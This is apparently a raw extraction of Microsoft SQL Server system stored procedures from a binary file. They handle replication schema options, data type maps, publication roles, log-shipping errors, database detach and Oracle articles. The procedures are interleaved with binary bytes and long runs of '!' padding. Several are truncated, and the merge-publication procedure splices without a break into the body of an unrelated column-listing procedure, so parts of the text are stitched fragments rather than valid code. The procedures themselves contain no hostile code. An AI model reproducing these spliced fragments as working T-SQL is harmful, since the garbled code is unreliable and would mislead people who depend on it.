        CREATE TABLE #tab_changeschemaarticle (value varbinary(8) NULL)
        IF @@ERROR <> 0
        BEGIN
           RETURN (1)
        END

		-- make sure that the value we are about to  
		-- build a dyn sql stmt with is a valid hexstr
		IF (SELECT sys.fn_isvalidhexstr(@value)) <> 1
		BEGIN
			RAISERROR(20014, 16, -1)
			RETURN (1)
		END
		
        EXEC ('insert #tab_changeschemaarticle values (' + @value + ')')
        IF @@ERROR <> 0
        BEGIN
            DROP TABLE #tab_changeschemaarticle 
            RETURN (1)
        END
        
        SELECT @schema_option = fn_replprepadbinary8(value) 
          FROM #tab_changeschemaarticle


        DECLARE @schema_option_lodword int
        SELECT @schema_option_lodword = sys.fn_replgetbinary8lodword(@schema_option)
        DECLARE @schema_option_hidword int
        SELECT @schema_option_hidword = sys.fn_replgetbinary8hidword(@schema_option)

        IF @type = 0x40
        BEGIN
            SELECT @valid_schema_options = 0xC9F43171
            IF (@schema_option_lodword & ~@valid_schema_options) <> 0
            BEGIN
                DROP TABLE #tab_changeschemaarticle 
                RAISERROR (21229, 16, -1)
                RETURN (1)
            END
        END
        ELSE 
        BEGIN
            SELECT @valid_schema_options = 0xFAC03021
            IF (@schema_option_lodword & ~@valid_schema_options) <> 0
            BEGIN
                DROP TABLE #tab_changeschemaarticle 
                RAISERROR (21222, 16, -1)
                RETURN (1)
            END
        END

        IF EXISTS (SELECT * FROM #tab_changeschemaarticle
                    WHERE value = 0x0000000000000000)
        BEGIN
        
            SELECT @creation_script = NULL
            SELECT @creation_script = creation_script
              FROM sysschemaarticles
             WHERE artid = @artid
               AND pubid = @pubid
/*            
            IF @creation_script IS NULL OR
               @creation_script = N''
            BEGIN
                RAISERROR(21218, 16, -1)
                DROP TABLE #tab_changeschemaarticle
                RETURN (1)
            END
*/
        END
            
        UPDATE sysschemaarticles
           SET schema_option = @schema_option
          FROM #tab_changeschemaarticle tab
         WHERE artid = @artid 
           AND pubid = @pubid         
            
        IF @@ERROR <> 0
        BEGIN
            DROP TABLE #tab_changeschemaarticle
            RETURN (1)
        END    

        DROP TABLE #tab_changeschemaarticle

        IF @@ERROR <> 0
            RETURN (1)
    END
    ELSE IF @property = N'destination_owner'
    BEGIN
        
        UPDATE sysschemaarticles
           SET dest_owner = @value
         WHERE artid = @artid
           AND pubid = @pubid

        IF @@ERRO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name 	sysname = null
)
as
	select
		PROCEDURE_CATALOG,
		PROCEDURE_SCHEMA,
		PROCEDURE_NAME,
		PARAMETER_NAME,
		ORDINAL_POSITION,
		PARAMETER_TYPE,
		PARAMETER_HASDEFAULT,
		PARAMETER_DEFAULT,
		IS_NULLABLE,
		DATA_TYPE,
		CHARACTER_MAXIMUM_LENGTH,
		CHARACTER_OCTET_LENGTH,
		NUMERIC_PRECISION,
		NUMERIC_SCALE,
		DESCRIPTION,
		TYPE_NAME,
		LOCAL_TYPE_NAME,
		XML_CATALOGNAME 			= SS_XML_SCHEMACOLLECTION_CATALOGNAME,
		XML_SCHEMANAME				= SS_XML_SCHEMACOLLECTION_SCHEMANAME,
		XML_SCHEMACOLLECTIONNAME	= SS_XML_SCHEMACOLLECTIONNAME,
		UDT_CATALOG 				= SS_UDT_CATALOGNAME,
		UDT_SCHEMA					= SS_UDT_SCHEMANAME,
		UDT_NAME					= SS_UDT_NAME
	
	from
		sys.fn_procedure_params_90_rowset(
			@procedure_name,
			@group_number,
			@procedure_schema,
			@parameter_name)

	order by 2, 3, 5
	option (OPTIMIZE CORRELATED UNION ALL)
0 	8
--
-- Name:
--		sp_helpdatatypemap
--
-- Description:
--		Retrieve data type map as result set
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		public
--
-- Notes:
--		Produces the full data type map based on input
--		parameters.  Includes filtered version based
--		on source and destination dbms, and defaults.
--

CREATE PROCEDURE sys.sp_helpdatatypemap
(
	@source_dbms			sysname,
	@source_version			varchar(10)	= '%',
	@source_type			sysname		= '%',
	@destination_dbms		sysname		= '%',
	@destination_version	varchar(10)	= '%',
	@destination_type		sysname		= '%',
	@defaults_only			bit			= 0
)
AS
BEGIN
	DECLARE @retcode int
	
    --
    -- Security Check.
    --
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RETURN(1)
	END

	SELECT	hdm.mapping_id as [mapping_id],
			hdm.source_dbms + 
			case
				when hdm.source_version is not null then ' ' + hdm.source_version
				else ''
			end as [source_dbms],
			sys.fn_MSrepl_sourcetype
			(
				hdm.source_type,
				hdm.source_length_min,
				hdm.source_length_max,
				hdm.source_precision_min,
				hdm.source_precision_max,
				hdm.source_scale_min,
				hdm.source_scale_max,
				hdm.source_createparams
			) as [source_type],
			hdm.destination_dbms +
			case
				when hdm.destination_version is not null then ' (' + hdm.destination_version + ')'
				else ''
			end as [destination_dbms],
			sys.fn_MSrepl_sourcetype
			(
				hdm.destination_type,
				case hdm.destination_length
					when -1 then hdm.source_length_min
					else hdm.destination_length
				end,
				case hdm.destination_length
					when -1 then hdm.source_length_max
					else hdm.destination_length
				end,
				case hdm.destination_precision
					when -1 then hdm.source_precision_min
					else hdm.destination_precision
				end,
				case hdm.destination_precision
					when -1 then hdm.source_precision_max
					else hdm.destination_precision
				end,
				case hdm.destination_scale
					when -1 then hdm.source_scale_min
					else hdm.destination_scale
				end,
				case hdm.destination_scale
					when -1 then hdm.source_scale_max
					else hdm.destination_scale
				end,
				hdm.destination_createparams
			)
			as [destination_type],
			hdm.dataloss as [dataloss],
			hdm.is_default as [is_default]
	FROM	sys.fn_helpdatatypemap
			(
				@source_dbms,
				@source_version,
				@source_type,
				@destination_dbms,
				@destination_version,
				@destination_type,
				@defaults_only
			) hdm
	ORDER BY	[source_dbms],
				[source_version],
				[destination_dbms],
				[destination_version],
				[source_type],
				[is_default] desc,
				[destination_type]

	RETURN (0)
END
0 D8"hP/Q!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~`<)@*k0 8create procedure sys.sp_MSdroptranpalrole
(
    @pubid int = NULL
)
AS
begin
    declare @retcode int
                ,@role sysname
                ,@member sysname
    
    if (@pubid is NULL)
    begin
        if (object_id('dbo.syspublications') is null)
        begin
            return 0
        end
        else
        begin
            declare #hc1 cursor local fast_forward for 
                select pubid from dbo.syspublications 
            for read only
        	
            open #hc1
            fetch #hc1 into @pubid
            while @@fetch_status <> -1
            BEGIN
                exec @retcode = sys.sp_MSdroptranpalrole @pubid
                if @retcode<>0 or @@error<>0
                    return 1
                fetch #hc1 into @pubid
            END
            close #hc1
            deallocate #hc1
        end
    end
    --
    -- drop the database role that contains users who have access to the publication
    -- this has to be done outside the transaction since role operations cannot be
    -- done in transaction 
    -- Use the dbid space as wild character as dbid can be different if we are cleaning
    -- up a restored db.
    --
    select @role = name from sys.database_principals 
        where name like N'MSReplPAL_%_' + cast(@pubid as nvarchar(10)) and type = 'R'
    if (@role is not null)
    begin
        --
        -- check if this role is a memeber of the database pal role. Drop it from there.
        --
        if exists (select * from sys.database_principals where name='MStran_PAL_role' and type = 'R')
        begin
            exec @retcode = dbo.sp_droprolemember 'MStran_PAL_role', @role
            if (@retcode <> 0 or @@error <> 0)
                return 1
        end
        --
        -- drop the members of this role
        --
        declare #role_members cursor local fast_forward for
            select u.name 
            from sys.database_principals u, sys.database_principals g, sys.database_role_members m
            where g.name = @role
                and g.principal_id = m.role_principal_id
                and g.type = 'R'
                and u.principal_id = m.member_principal_id
        for read only
    				
        open #role_members 
        fetch #role_members into @member
        while @@fetch_status <> -1
        begin
            exec @retcode = sys.sp_droprolemember @role, @member
            if (@retcode <> 0 or @@error <> 0)
            BEGIN
                raiserror (14005, 16, -1)
                return (1)
            END
            fetch #role_members into @member
        end
        close #role_members
        deallocate #role_members
        --
        -- drop the role
        --
        exec @retcode = sys.sp_droprole @role
        if (@retcode <> 0 or @@error <> 0)
        BEGIN
            raiserror (14005, 16, -1)
            return (1)
        END
    end
    --
    -- all done
    --
    return 0
end
0L 8create procedure sys.sp_MSproxylogshippingmonitorerror 
(
    @mode tinyint -- 1 = add, 2 = delete
    ,@agent_id uniqueidentifier
    ,@agent_type tinyint  -- 0 = backup, 1 = copy, 2 = restore
    ,@session_id int = NULL -- should not be null when adding
    ,@sequence_number int = NULL  -- should not be null when adding
    ,@monitor_server sysname 
    ,@database sysname = NULL -- needed for add
    ,@log_time datetime = NULL
    ,@log_time_utc datetime = NULL
    ,@message nvarchar(4000) = NULL 
    ,@source nvarchar(4000) = NULL 
    ,@help_url nvarchar(4000) = NULL 
)
with execute as 'dbo'
as
begin
    set nocount on
    declare @retcode int
                ,@linkcmd nvarchar(512)
    --
    -- should be executed in msdb
    --
    if (db_name() != N'msdb')
    begin
        raiserror (21482, 16, -1, N'sp_MSproxylogshippingmonitorerror', N'msdb')
        return 1
    end
    -- 
    -- process the monitor record in log_shipping_monitor_error_detail on the monitor server 
    --
    select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingmonitorerror'
    begin try
        exec @retcode = @linkcmd 
                @mode = @mode
                ,@agent_id = @agent_id
                ,@agent_type = @agent_type
                ,@session_id = @session_id
                ,@sequence_number = @sequence_number
                ,@monitor_server = @monitor_server
                ,@monitor_server_security_mode = 0
                ,@database = @database
                ,@log_time = @log_time
                ,@log_time_utc = @log_time_utc
                ,@message = @message
                ,@source = @source
                ,@help_url = @help_url
    end try
    begin catch
        select @retcode = 1
    end catch
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!W`q
<-*·0V@ 8
CREATE PROCEDURE sys.sp_MSrepl_add_expired_sub_cleanup_job
(
	@publisher sysname = NULL
)
AS
BEGIN
	DECLARE @retcode       int,
			@agentname     sysname,
			@alert_name    sysname,
			@alert_id      int,
			@command	   nvarchar(max),
			@category_name sysname,
			@description   nvarchar(500)

	SET @retcode = 0
	
    -- Get expired subscription cleanup agent name
    set @agentname = formatmessage(20569) +
    				 CASE
    				 	WHEN @publisher IS NOT NULL THEN N' ' + QUOTENAME(UPPER(@publisher))
    				 	ELSE N''
    				 END

	-- Add expired subscription cleanup job if it doesn't already exist
    IF NOT EXISTS
    (
		SELECT	*
		FROM	msdb.dbo.sysjobs_view
		WHERE	name = @agentname COLLATE DATABASE_DEFAULT
		  AND	UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
		  AND	master_server = 0
	)
    BEGIN
        SELECT @command	= 'EXEC sys.sp_expired_subscription_cleanup' +
        				  CASE
        				  	WHEN @publisher IS NOT NULL THEN N' @publisher = N' + QUOTENAME(UPPER(@publisher), '''')
        				  	ELSE N''
        				  END
    
        SET @description = formatmessage(20542)

        SELECT	@category_name = name
        FROM	msdb.dbo.syscategories
        WHERE	category_id = 17
        
        EXEC @retcode = msdb.dbo.sp_MSadd_repl_job	@agentname,
													@subsystem              = 'TSQL',
													@server                 = @@servername,
													@databasename           = N'master',
													@description            = @description,
													@freqtype               = 4,				-- daily
													@activestarttimeofday   = 010000,			-- from 01:00:00 am
													@command                = @command,
													@enabled                = 1,
													@retryattempts          = 0,
													@loghistcompletionlevel = 0,
													@category_name          = @category_name
    
        IF (@@ERROR != 0 OR @retcode != 0)
        BEGIN
             RETURN (1)
        END
    END

    -- Add Expired subscription cleanup alert if it doesn't already exist             
    SELECT	@category_name = name
    FROM	msdb.dbo.syscategories
    WHERE	category_id = 20

    SET	@alert_name = formatmessage(20538)    

	-- corresponding to formatmessage(20538)
    SET	@alert_id = 14157 

    IF NOT EXISTS
    (
    	SELECT	*
    	FROM	msdb.dbo.sysalerts
    	WHERE	message_id = @alert_id
    )
    BEGIN
        EXEC @retcode = msdb.dbo.sp_add_alert	@enabled = 0,
        										@name = @alert_name,
        										@category_name = @category_name,
        										@message_id = 14157

        IF (@@ERROR != 0 OR @retcode != 0)
        BEGIN
             RETURN (1)
        END
    END
    
	RETURN @retcode
END
0H@ 8create procedure sys.sp_MSreplcheckoffloadserver (
    @offloadserver sysname
    )
as 
begin
	SET NOCOUNT ON
	
	RAISERROR(21023, 16, -1, 'sp_MSreplcheckoffloadserver')

	RETURN (1)
end
0@ b8
create procedure sys.sp_helpreplicationoption (
@optname        sysname = NULL
)
AS
    DECLARE @optbit bit
    DECLARE @retcode int


    IF @optname IS NOT NULL AND LOWER(@optname collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('transactional','merge')
    BEGIN
        RAISERROR(21014, 16, -1)
        GOTO FAILURE
    END
    SELECT optname, value, major_version, minor_version, revision 
        FROM master.dbo.MSreplication_options
        WHERE
            optname = @optname OR
            @optname = NULL

    RETURN(0)

FAILURE:
    RETURN(1)
0@ 8
CREATE PROCEDURE sys.sp_checkOraclepackageversion
(
    @publisher          sysname,
    @versionsmatch      int OUTPUT,
    @packageversion		nvarchar(256) OUTPUT 
)
AS
BEGIN
    set nocount on
    DECLARE @cmd nvarchar(4000)
                ,@retcode int
                ,@publisher_type sysname

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo
        @publisher        = @publisher,
        @rpcheader        = @cmd OUTPUT,
        @publisher_type   = @publisher_type OUTPUT,
        @skipSecurityCheck=1
    IF @retcode <> 0
        RETURN (@retcode)

    -- Reject unsupported publisher types
    IF @publisher_type NOT IN (N'ORACLE', N'ORACLE GATEWAY')
    BEGIN
        RAISERROR (21645, 16, -1, @publisher_type)
        RETURN (1)
    END                                                                     

    SELECT @publisher = UPPER(@publisher) 
            ,@cmd = @cmd + N'sys.sp_MSrepl_checkOraclepackageversion'
    
    EXEC @retcode = @cmd
                    @publisher,
                    @versionsmatch OUTPUT,
                    @packageversion OUTPUT

    RETURN (@retcode)
END
0A 8create procedure sys.sp_MSvalidate_subscription (
    @subscriber sysname,
    @subscriber_db sysname,
    @artid int
)
as
begin
    if not exists (select * 
        from syssubscriptions as sub
            where sub.srvname = UPPER(@subscriber) 
			and (sub.srvname is not null and len(sub.srvname)> 0)
            and sub.artid = @artid 
            and sub.dest_db = @subscriber_db)
    begin
        --  The subscription has been dropped from the publisher. Please run sp_subscription_cleanup to cleanup the triggers.
        exec sys.sp_MSreplraiserror 21161
        return -1
    end
end
0͈ /8create procedure sys.sp_MSenum_distribution_sd
(
    @name nvarchar(100),
    @time datetime = NULL
)
as
begin
    set nocount on

    declare @start_time datetime
    declare @time_up datetime
    declare @agent_id int

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    IF @time IS NULL
        select @time = GETDATE()
    
    select @agent_id = id from MSdistribution_agents where
        name = @name

    /*
    ** Minute-approximate @time can be used.
    ** Note: The select only return datetime data with minute precision
    */
    IF  DATEPART(second, @time) = 0 AND
        DATEPART(millisecond, @time) = 0
    BEGIN
        SELECT @time_up = DATEADD(second, +59, @time)
        SELECT @time_up = DATEADD(millisecond, +999, @time)
    END
    ELSE
        SELECT @time_up = @time
        

    select top 1 @start_time = start_time           
         from MSdistribution_history rh with (READPAST) 
        where
        rh.agent_id = @agent_id and
        time <= @time_up
	and comments not like N'<stats state%'	
        order by timestamp DESC

    select  runstatus, 
        'time' = sys.fn_replformatdatetime(time), 
        comments, duration, 
        delivery_rate,
        delivery_latency,
        /* delivery_time */ 0,  
        delivered_transactions, delivered_commands, average_commands, 
        error_id            
        from MSdistribution_history rh with (READPAST) 
        where
        rh.agent_id = @agent_id and
        start_time = @start_time
	and comments not like N'<stats state%'	
	order by timestamp desc
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!YtW`	<])0p A8create procedure sys.sp_detach_db
	@dbname sysname = null,
	@skipchecks nvarchar(10) = null,
	@keepfulltextindexfile nvarchar(10) = null
as
	declare @dbid int
	declare @exec_stmt nvarchar(4000)

	if (SERVERPROPERTY('IsMatrix') = 1)
	begin
		raiserror (28401, -1, -1, N'sys.sp_detach_db')
		return (1)
	end

	if @dbname is null
	begin
		raiserror(15354,-1,-1)
		return(1)
	end

	if lower(@skipchecks) <> N'true'
		and lower(@skipchecks) <> N'false'
		and @skipchecks is not null
	begin
		raiserror(15354,-1,-1)
		return(1)
	end

	if	@keepfulltextindexfile is not null 
		and lower(@keepfulltextindexfile) <> N'true'
		and lower(@keepfulltextindexfile) <> N'false'
	begin
		raiserror(15354,-1,-1)
		return(1)
	end

	select @dbid = dbid from master.dbo.sysdatabases where name=@dbname
	if @dbid is null
	begin
		raiserror(15010,-1,-1,@dbname)
		return(1)
	end

	-- make sure not trying to detach within a transaction
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_detach_db')
		return(1)
	end

	-- run UPDATE STATISTICS on all tables in the database so they are current
	-- when transferred to READONLY media
	if lower(@skipchecks) <> N'true'
	begin
		select @exec_stmt = 'USE ' + quotename( @dbname , '[')
			+ ' EXEC sys.sp_updatestats ''RESAMPLE'' '
		EXEC (@exec_stmt)
	end


	if @keepfulltextindexfile is null
	begin
		select @exec_stmt = 'DBCC DETACHDB ('
				+ quotename( @dbname , '[')
				+ ')'
	end
	else
	begin
		if lower(@keepfulltextindexfile) <> N'true' 
		begin
			select @exec_stmt = 'DBCC DETACHDB ('
					+ quotename( @dbname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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<]Dkp0~ {8
create procedure sys.sp_linkedservers_rowset2
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        SVR_NAME            = s_s.name,
        SVR_PRODUCT         = s_s.product,
        SVR_PROVIDERNAME    = s_s.provider,
        SVR_DATASOURCE      = s_s.data_source,
        SVR_PROVIDERSTRING  = s_s.provider_string,
        SVR_LOCATION        = s_s.location,
        SVR_CATALOG         = s_s.catalog
    from
        sys.servers s_s
    where
        -- Don't use s_s.is_linked, because 0 there means old-style linked server, 1 means new-style.
        s_s.is_data_access_enabled = 1
    order by 1
0[, h8Q}/h>8^}Å0dW@ Z8
create procedure sys.sp_MSretrieve_mergepublication 
@publication sysname
AS
declare @retcode int
/*
** Security Check
*/
exec @retcode = sys.sp_MSreplcheck_publish
if @@ERROR <> 0 or @retcode <> 0
    return(1)

select    'name' = name, 
        'database ' = db_name(), 
        'publisher' = publishingservername(), 
        'type' = 'Merge', 
        'description ' = description, 
        'status ' = status,     
        'allow known pull subscription' = allow_pull, 
        'allow immediate-updating subscription ' = 0,
        'allow anonymous ' = allow_anonymous,  
        'allow queued-updating subscription ' = 0, 
        'allow snapshot files FTP downloading' = enabled_for_internet, 
        'third party' = sync_mode 
    from dbo.sysmergepublications
    where name = @publication
    int
            ,@isset        int
            ,@ispkcol      int

    select @spacer = N' '
            ,@spacer2 = N' '
            ,@art_col = 1
            ,@outvars = null
            ,@cmd = N'    '

    DECLARE #hccolid CURSOR LOCAL FAST_FORWARD FOR 
    select column_id from sys.columns where object_id = @objid order by column_id asc

    OPEN #hccolid
    FETCH #hccolid INTO @this_col
    WHILE (@@fetch_status <> -1)
    begin

        if @artid is not null
            exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, 1, @agent_id
        else
            select @isset = 1

        exec @ispkcol = sys.sp_MSiscolpk @objid, @this_col

        if @isset != 0 and EXISTS (select name from sys.columns where object_id=@objid and column_id=@this_col and (is_computed<>1 or @ispkcol<>0)) 
        begin
            exec sys.sp_MSget_type @objid, @this_col, @colname output, @typestring OUTPUT
            if (@typestring IS NOT NULL)
            begin
                --
                -- for xml type - we will use nvarchar(max)
                --
                if (@typestring = 'xml')
                    select @typestring = 'nvarchar(max)'
                if @postfix is null
                    select @cmd = @cmd + @spacer + N'@c' + convert(varchar(4), @this_col) + N' ' + @typestring 
                else
                    -- old vars
                    select @cmd = @cmd + @spacer + N'@c' + convert(varchar(4), @this_col) + @postfix + N' ' + @typestring

                -- new vars of type timestamp and identity are declared as output params
                if @bOutParams = 1 and (@typestring = N'timestamp' or ColumnProperty(@objid, @colname, 'IsIdentity') = 1)
                begin
                    select @cmd = @cmd + N' output'
                    select @outvars = isnull(@outvars, N'') + @spacer2 + N'@c' + convert(varchar(4), @this_col) + N' = ' + quotename(@colname) 
                    select @spacer2 = N','
                end
                
                select @spacer = N','
            end
            select @art_col = @art_col + 1

            -- flush command if necessary
            exec sys.sp_MSflush_command @cmd output, 1, 4
       end
       FETCH #hccolid INTO @this_col
    end
    CLOSE #hccolid
    DEALLOCATE #hccolid
    --
    -- all done
    --
    return 0
END
0(@ 8 
--
-- Name: sp_refreshsubscriptions
--
-- Description: Add article to existing subscriptions
--
-- Parameter: (see proc below)
--
-- Returns: 
--
-- Security: Why is this public - can it not be internal 
--
create procedure sys.sp_refreshsubscriptions
(
	@publication sysname,
	@publisher	 sysname = NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname
	
	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_refreshsubscriptions'

	EXEC @retcode = @cmd
					@publication,
					@publisher,
					@publisher_type
					

	RETURN (@retcode)
END
0 	8
--
-- Name:    
--          sp_ORAdroparticle
--          
-- Description: 
--          Drop oracle article info
--  
-- Security: 
--          Internal
--
-- Returns:
--          Success/failure
--      
-- Notes:
--			This stored procedure calls the HREPL.UnpublishTable on the Oracle publisher to
--			remove the replication trigger and delete the tracking table, if the article being dropped
--			is the last published article associated with the specific Oracle table.       
--
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_ORAdroparticle
(
	@publisher		sysname,
	@articleID		int,
	@publisherID	int,
	@tableID		int,
	@owner			sysname,
	@tablename		sysname,
	@viewname		nvarchar(256),
	@distributortimestamp	datetime
)
AS
BEGIN
	DECLARE @retcode int,
			@droptriggers int

	SET NOCOUNT ON

	-- Define sp_IHquery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- If the publisher table is associated with other articles from transactional publications, 
	-- don't drop the triggers and log table.  
	IF EXISTS
	(
		SELECT	*
		FROM	IHarticles a,
				IHpublications p
		WHERE	a.publisher_id = @publisherID
		  AND	a.table_id = @tableID 
		  AND	a.publication_id = p.pubid 
		  AND	p.repl_freq = 0
	)
	BEGIN
		SET @droptriggers = 0
	END
	ELSE
	BEGIN
		SET @droptriggers = 1
	END
	
	IF @@ERROR <> 0 
	BEGIN
		RAISERROR (21630, 16, -1, @tablename)
		RETURN (1)
	END

	--  Call the remote routine to unpublish the table
	INSERT INTO #hquery (cmd) VALUES (N'{call HREPL.UnPublishTable(')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@owner, '''') + N',')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@tablename, '''') + N',')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @tableID) + N',')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@viewname, '''') + N',')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @droptriggers) + N', ')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(CONVERT(NVARCHAR(255), @distributortimestamp, 121), '''') + N' )}')

	EXEC @retcode = sys.sp_IHquery @publisher

	IF  (@@error <> 0 OR @retcode <> 0)
	BEGIN
		RAISERROR (21631, 16, -1, @tablename)
       	RETURN (1)
	END

	RETURN(0)
END	
